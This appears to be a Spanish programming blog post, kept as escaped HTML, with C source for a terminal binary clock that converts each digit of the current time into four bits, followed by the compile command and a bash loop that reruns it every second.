&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;enum&lt;/span&gt; {
    ZERO &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #005588; font-weight: bold;&quot;&gt;0x30&lt;/span&gt;,
    UNO,
    DOS,
    TRES,
    CUATRO,
    CINCO,
    SEIS,
    SIETE,
    OCHO,
    NUEVE
} Hora;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;struct&lt;/span&gt; _f_hora {
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; hora_decena[BITS];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; hora_unidad[BITS];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; minuto_decena[BITS];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; minuto_unidad[BITS];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; segundo_decena[BITS];
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; segundo_unidad[BITS];
} f_hora;

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; formato[] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;%k%M%S&quot;&lt;/span&gt;;
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; fecha[BUF_TIME];
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_clock&lt;/span&gt;();
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_num&lt;/span&gt;(&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; num,f_hora &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;hora,&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i);
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;destroy_Binary&lt;/span&gt;(f_hora &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;hora);
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_binary&lt;/span&gt;(f_hora &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;hora);
&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;show_clock&lt;/span&gt;(f_hora hora);

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;()
{
    f_hora hora;
    create_clock();
    create_binary(&lt;span style=&quot;color: #333333;&quot;&gt;&amp;amp;&lt;/span&gt;hora);
    show_clock(hora);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_clock&lt;/span&gt;()
{
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;struct&lt;/span&gt; tm &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;tiempo;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;time_t&lt;/span&gt; ahora &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; time(&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;);
    tiempo &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; localtime(&lt;span style=&quot;color: #333333;&quot;&gt;&amp;amp;&lt;/span&gt;ahora);
    strftime(fecha,BUF_TIME,formato,tiempo);
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_binary&lt;/span&gt;(f_hora &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;hora)
{
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; len &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; strlen(fecha),i;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (len &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;)
        exit(&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; (i &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;i&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt; len;i&lt;span style=&quot;color: #333333;&quot;&gt;++&lt;/span&gt;)
        create_num(fecha[i],hora,i);
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;create_num&lt;/span&gt;(&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; num,f_hora &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;hora,&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; iter)
{
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; aux[BITS],i;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;switch&lt;/span&gt;((&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt;)num)
    {
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; ZERO:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; UNO:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; DOS:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; TRES:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; CUATRO:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; CINCO:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; SEIS:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; SIETE:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; OCHO:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;case&lt;/span&gt; NUEVE:
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
            aux[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
        &lt;span style=&quot;color: #997700; font-weight: bold;&quot;&gt;default:&lt;/span&gt;
            &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;break&lt;/span&gt;;
    }
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; (i&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;i&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;BITS;i&lt;span style=&quot;color: #333333;&quot;&gt;++&lt;/span&gt;)
    {
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (iter &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;)
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;hora_decena[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (iter &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;)
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;hora_unidad[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (iter &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;2&lt;/span&gt;)
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;minuto_decena[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (iter &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;3&lt;/span&gt;)
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;minuto_unidad[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (iter &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;4&lt;/span&gt;)
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;segundo_decena[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
        &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt;
        {
            hora&lt;span style=&quot;color: #333333;&quot;&gt;-&amp;gt;&lt;/span&gt;segundo_unidad[i] &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; aux[i];
        }
    }
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;show_clock&lt;/span&gt;(f_hora hora)
{
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; (i&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;i&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;BITS;i&lt;span style=&quot;color: #333333;&quot;&gt;++&lt;/span&gt;)
    {
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.hora_decena[i]);
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.hora_unidad[i]);
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.minuto_decena[i]);
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.minuto_unidad[i]);
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.segundo_decena[i]);
        printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;%d&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0; color: #666666; font-weight: bold;&quot;&gt;\t&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&lt;/span&gt;,hora.segundo_unidad[i]);
        puts(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&quot;&lt;/span&gt;);
    }
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Para compilar usamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;gcc -o relojbinario relojbinario.c&lt;/b&gt;&lt;/blockquote&gt;&lt;br /&gt;
Y si lo ejecutamos en &lt;b&gt;linux&lt;/b&gt; podemos llamarlo así,para ver como se ejecuta cada segundo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCyefVUN3NFpTH8KivsmCzmLa20bNuUqdcBZn8ah7O6lLjMVLH8fAzHpUOEXa6yi80_QlR1GQeo90Skrs-KHm5rnKuXg42P1kfCozkk0slqqBmBIyaszozF1Qt1ZmaVoKC0-njNn4WuSGc/s1600/reloj2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCyefVUN3NFpTH8KivsmCzmLa20bNuUqdcBZn8ah7O6lLjMVLH8fAzHpUOEXa6yi80_QlR1GQeo90Skrs-KHm5rnKuXg42P1kfCozkk0slqqBmBIyaszozF1Qt1ZmaVoKC0-njNn4WuSGc/s1600/reloj2.png&quot; height=&quot;307&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;b&gt;while [ 1 ];do sleep 1; clear; ./relojbinario; done&lt;/b&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;&lt;script type=&quot;text/javascript&quot;&gt;
&lt;!--
google_ad_client = &quot;ca-pub-5807640553894844&quot;;
/* Grande */
google_ad_slot = &quot;8726839566&quot;;
google_ad_width = 336;
google_ad_height = 280;
//&lt;/script&gt;
--&amp;gt;

&lt;script src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot; type=&quot;text/javascript&quot;&gt;
&lt;/script&gt;&lt;br /&gt;
